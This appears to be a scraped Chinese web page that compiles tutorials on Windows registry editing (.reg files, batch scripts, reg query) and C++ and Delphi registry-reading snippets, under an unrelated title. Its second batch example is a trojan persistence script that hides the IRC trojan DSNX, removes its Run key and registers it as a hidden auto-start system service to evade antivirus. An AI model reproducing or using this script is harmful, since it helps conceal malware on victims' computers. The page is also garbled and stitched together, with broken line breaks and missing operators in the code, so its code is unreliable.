一,批處理生成.Reg文件操作注冊表
創(chuàng)新互聯(lián)建站-專業(yè)網(wǎng)站定制、快速模板網(wǎng)站建設(shè)、高性價比扎魯特旗網(wǎng)站開發(fā)、企業(yè)建站全套包干低至880元,成熟完善的模板庫,直接使用。一站式扎魯特旗網(wǎng)站制作公司更省心,省錢,快速模板網(wǎng)站建設(shè)找我們,業(yè)務(wù)覆蓋扎魯特旗地區(qū)。費用合理售后完善,10年實體公司更值得信賴。
用批處理中的重定向符號可以輕松地生成.reg文件。然后用命令執(zhí)行.reg文件即可!
這里,著重要了解.reg文件操作注冊表的方法。
首先.reg文件首行必須是:Windows
Registry
Editor
Version
5.00。然后才是操作注冊表的內(nèi)容。
(就和從注冊表中導(dǎo)出的文件格式一致)
1,創(chuàng)建子項
Windows
Registry
Editor
Version
5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]
在HKEY_LOCAL_MACHINE\SOFTWARE\下創(chuàng)建了一個名字為“TTT”的子項。
2,創(chuàng)建一個項目名稱
復(fù)制代碼
代碼如下:
Windows
Registry
Editor
Version
5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]
"Name"="TTT
BLOG"
"EMail"="taoether@gmail.com"
"URL"=""
"Type"=dword:02
這樣就在[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]下新建了:Name、EMail、
URL、Type這四個項目
Name、Email、URL的類型是“String
Value”
Type的類型是“DWORD
Value”
(附:windows注冊表值類型:
REG_SZ
字符串值
REG_BINARY
二進(jìn)制值
REG_DWORD
DWORD值
REG_MULTI_SZ
多字符串值
REG_EXPAND_SZ
可擴充字符串值)
3,修改鍵值
修改相對來說比較簡單,只要把你需要修改的項目導(dǎo)出,然后用記事本進(jìn)行修改,然后導(dǎo)入(regedit
/s)即可。就象新建一樣即可??梢砸淮涡薷耐蛔禹椣碌亩鄠€項目。
4,刪除項目名稱
復(fù)制代碼
代碼如下:
Windows
Registry
Editor
Version
5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]
"EMail"=-
執(zhí)行該腳本,"EMail"就被刪除了;
5,刪除子項
復(fù)制代碼
代碼如下:
Windows
Registry
Editor
Version
5.00
[-HKEY_LOCAL_MACHINE\SOFTWARE\TTT]
[-HKEY_LOCAL_MACHINE\SOFTWARE\DDD]
執(zhí)行該腳本,子項ttt和ddd就已經(jīng)被刪除了。
6,.reg文件執(zhí)行方法
1)直接執(zhí)行reg文件
2)regedit
/s
*.reg
(/s不用確認(rèn))
3)reg
import
*.reg
7,其實,我們也可以用dll文件代替reg文件。
批處理例1:
復(fù)制代碼
代碼如下:
@echo
off
echo
Windows
Registry
Editor
Version
5.00
t1.reg
echo.
echo
[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]
t1.reg
echo
"Name"="TTT
BLOG"
t1.reg
echo
"EMail"="taoether@gmail.com"
t1.reg
echo
"URL"=""
t1.reg
echo
"Type"=dword:02
t1.reg
regedit
/s
t1.reg
del
/q
t1.reg
pause
批處理2:(這個例子是別人的,不是很懂的說~~)
我們現(xiàn)在在使用一些比較老的木馬時,可能會在注冊表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一個鍵值用來實現(xiàn)木馬的自啟
動.但是這樣很容易暴露木馬程序的路徑,從而導(dǎo)致木馬被查殺,相對地若是將木馬程序注冊為系統(tǒng)服務(wù)則相對安全一些.下面以配置好地IRC木馬DSNX為例
(名為windrv32.exe)
復(fù)制代碼
代碼如下:
@start
windrv32.exe
@attrib
+h
+r
windrv32.exe
@echo
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
patch.dll
@echo
"windsnx
"=-
patch.dll
@sc.exe
create
Windriversrv
type=
kernel
start=
auto
displayname=
WindowsDriver
binpath=
c:\winnt\system32\windrv32.exe
@regedit
/s
patch.dll
@delete
patch.dll
@REM
[刪除DSNXDE在注冊表中的啟動項,用sc.exe將之注冊為系統(tǒng)關(guān)鍵性服務(wù)的同時將其屬性設(shè)為隱藏和只讀,并config為自啟動]
@REM
這樣不是更安全^_^.
二,reg命令操作注冊表
Reg命令是Windows提供的一下專門操作注冊表的工具??梢苑奖愕牟樵?,添加,刪除,導(dǎo)入,導(dǎo)出,比較等操作。具體可以參考系統(tǒng)自帶的幫助……
REG
Operation
[參數(shù)列表]
Operation
[
QUERY
|
ADD
|
DELETE
|
COPY
|
SAVE
|
LOAD
|
UNLOAD
|
RESTORE
|
COMPARE
|
EXPORT
|
IMPORT
]
1,查詢所有子項和值
D:\reg
query
hklm\software\TTT
!
REG.EXE
VERSION
3.0
HKEY_LOCAL_MACHINE\software\TTT
Name
REG_SZ
TTT
BLOG
REG_SZ
taoether@gmail.com
URL
REG_SZ
Type
REG_DWORD
0x2
2,查詢特定項
D:\reg
query
hklm\software\ttt
/v
url
!
REG.EXE
VERSION
3.0
HKEY_LOCAL_MACHINE\software\ttt
url
REG_SZ
這里最難的是如何取得我們想要的字符串呢,困惑了好長時間,終于找到方法了。
原來也沒有別的好辦法,只能用find,for循環(huán)來截取我們需要的內(nèi)容。(下面的例子如果看不懂,請參考本博客另外的文章:DOS循環(huán)-bat/批處理for命令詳解之二)
例如我們要得到url的鍵值:
,可以用以下腳本:
復(fù)制代碼
代碼如下:
@ECHO
OFF
for
/f
"tokens=1,2,3,4,*"
%%i
in
('reg
query
"HKEY_LOCAL_MACHINE\software\ttt"
^|
find
/i
"URL"')
do
SET
"pURL=%%k"
echo
TTT
BLOG的URL值為:%pURL%
保存為Test.bat,運行結(jié)果如下:
D:\test.bat
TTT
BLOG的URL值為:
不行了,家里的電腦不知為啥,在命令行中一運行“REG”命令(包括reg
/?),CPU就占用100%,看任務(wù)管理器,CMD占用百分之八十多,不知道為啥……
運行其他的命令就沒有問題,包括regedit
/s……
查了一下,網(wǎng)上有說是中了木馬的原因,但查了一下,也不象。既沒有找到相關(guān)文件,而且運行其它的命令時,沒有問題……
先不搞了,正好手頭有個REG命令詳解,等會整理一下!
因為查毒,用自己做的Clear.bat清理了一下C盤,居然清理出1個G的空間來,原來只剩幾百兆了……windows的垃圾真是多啊~~不要忘了經(jīng)常清理一下啊!
再發(fā)布兩個做好的批處理文件,可以自動監(jiān)控OutLook
Express,有需要的可以點擊下載……
1,OEMonitorCount.bat 功能:可以重設(shè)注冊表中OE打開次數(shù),避免超過100次時提示壓縮
2,OEMonitorSize.bat 功能:可以監(jiān)控Outlook
Express郵件文件(*.dbx)大小,當(dāng)大于指定大小時,生成報警日志。
這兩個文件,可以加到啟動組里,每次開機自動運行!
搞這兩個主要是為了解決公司經(jīng)常出現(xiàn)的一些問題:
1)經(jīng)常有人的郵件文件超過幾個G;
2)有時而且根據(jù)提示壓縮后,可能出現(xiàn)郵件丟失。
剛發(fā)現(xiàn),下載后的文件又加了“htm"的后綴,請去掉此后綴再使用!
另外下載時,請使用下面的鏈接,如:千腦電信高速下載地址、千腦網(wǎng)通高速下載地址。上面的VIP鏈接是專供千腦用戶使用的~~
調(diào)用格式:
〈字節(jié)集〉
取字節(jié)集注冊項
(整數(shù)型
根目錄,文本型
全路徑注冊項名,〔字節(jié)集
默認(rèn)字節(jié)集〕)
-
系統(tǒng)核心支持庫-系統(tǒng)處理
英文名稱:GetBinRegItem
在
Windows
注冊表中返回指定的字節(jié)集類型注冊表項值。如欲讀取注冊項默認(rèn)值,請在項目名后加“\”號,如“test\”。與“取字節(jié)集注冊表項”命令不同的是本命令可以取任意位置處的注冊表項。本命令為中級命令。
參數(shù)1的名稱為“根目錄”,類型為“整數(shù)型(int)”。可以為以下常量值之一:
1、#根類;
2、#現(xiàn)行設(shè)置;
3、#現(xiàn)行用戶;
4、#本地機器;
5、#所有用戶。
參數(shù)2的名稱為“全路徑注冊項名”,類型為“文本型(text)”。
參數(shù)3的名稱為“默認(rèn)字節(jié)集”,類型為“字節(jié)集(bin)”,可以被省略。如果指定的注冊表項不存在,將返回此默認(rèn)字節(jié)集。如果指定的注冊表項不存在且本參數(shù)被省略,將返回空字節(jié)集。
操作系統(tǒng)需求:
Windows
讀取之后與你認(rèn)為的正確的值進(jìn)行比較就可以了。
#include windows.h
#include iostream
using namespace std;
int main()
{
HKEY hOpen;
char key[255] = "SOFTWARE\\Microsoft\\Internet Explorer\\URL Compatibility";
char name[10] = "Version";
char buf[255];
DWORD size;
if(ERROR_SUCCESS==RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, 0, KEY_READ, hOpen))
{
RegQueryValueEx(hOpen, name, NULL, NULL, (BYTE*)buf, size);
cout buf endl;
}
RegCloseKey(hOpen);
Sleep(3000);
return 0;
}
如果你實現(xiàn)知道你要讀去的鍵值的話,可以使用RegQueryValueEx函數(shù)。
我做的是字串讀出的
可以參考一下:
LPBYTE owner_get=new BYTE[80];
DWORD type=REG_SZ;
DWORD cbData=80;
DWORD lReturn ;
//獲取 子項 的 參數(shù)
::RegQueryValueEx(hKey,_T(""),NULL,type,owner_get,cbData);
還有就是記得在使用之后將注冊表關(guān)閉
::RegCloseKey(hKey);
從注冊表關(guān)鍵字中讀出相關(guān)的數(shù)據(jù)值 在Tregistry類中還提供了與Write方法相對應(yīng)用的用來讀出與當(dāng)前關(guān)鍵字相關(guān)的數(shù)據(jù)值。常用方法的原型定義如下: founction ReadString(const Name : string) : string; founction ReadInteger(const Name : string) : Integer; founction ReadFloat(const Name : string) : Double; founction ReadTime(const Name : string) : TdateTime; founction ReadBool(const Name) : Boolean; 示例程序如下: procedure TForm1.Button1Click(Sender: TObject); var MyReg : TRegistry; begin MyReg := TRegistry.Create; MyReg.RootKey := HKEY_LOCAL_MACHINE; try if not MyReg.OpenKey('SOFTWARE',FALSE) then ; if not MyReg.KeyExists('Passwd') then ; if not MyReg.OpenKey('SOFTWAREPasswd',FALSE) then ; Label1.Caption := MyReg.ReadString('pwd1'); Label2.Caption := IntToStr(MyReg.ReadInteger('pd2')); MyReg.CloseKey; finally MyReg.Free; end; end; 查看原帖
c++讀取windows注冊表信息的方法為:
以下是示例代碼:
GetStringRegKey(hKey, L"BinDir", strValueOfBinDir, L"bad");
GetStringRegKey(hKey, L"", strKeyDefaultValue, L"bad");
LONG GetDWORDRegKey(HKEY hKey, const std::wstring strValueName, DWORD nValue, DWORD nDefaultValue)
{
nValue = nDefaultValue;
DWORD dwBufferSize(sizeof(DWORD));
DWORD nResult(0);
LONG nError = ::RegQueryValueExW(hKey,
strValueName.c_str(),
0,
NULL,
reinterpret_castLPBYTE(nResult),
dwBufferSize);
if (ERROR_SUCCESS == nError)
{
nValue = nResult;
}
return nError;
}
LONG GetBoolRegKey(HKEY hKey, const std::wstring strValueName, bool bValue, bool bDefaultValue)
{
DWORD nDefValue((bDefaultValue) ? 1 : 0);
DWORD nResult(nDefValue);
LONG nError = GetDWORDRegKey(hKey, strValueName.c_str(), nResult, nDefValue);
if (ERROR_SUCCESS == nError)
{
bValue = (nResult != 0) ? true : false;
}
return nError;
}
LONG GetStringRegKey(HKEY hKey, const std::wstring strValueName, std::wstring strValue, const std::wstring strDefaultValue)
{
strValue = strDefaultValue;
WCHAR szBuffer[512];
DWORD dwBufferSize = sizeof(szBuffer);
ULONG nError;
nError = RegQueryValueExW(hKey, strValueName.c_str(), 0, NULL, (LPBYTE)szBuffer, dwBufferSize);
if (ERROR_SUCCESS == nError)
{
strValue = szBuffer;
}
return nError;
}
文章標(biāo)題:go語言注冊表讀取值 go 注冊表
本文地址:http://aaarwkj.com/article34/doodgpe.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供移動網(wǎng)站建設(shè)、虛擬主機、網(wǎng)站維護(hù)、網(wǎng)頁設(shè)計公司、品牌網(wǎng)站設(shè)計、用戶體驗
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)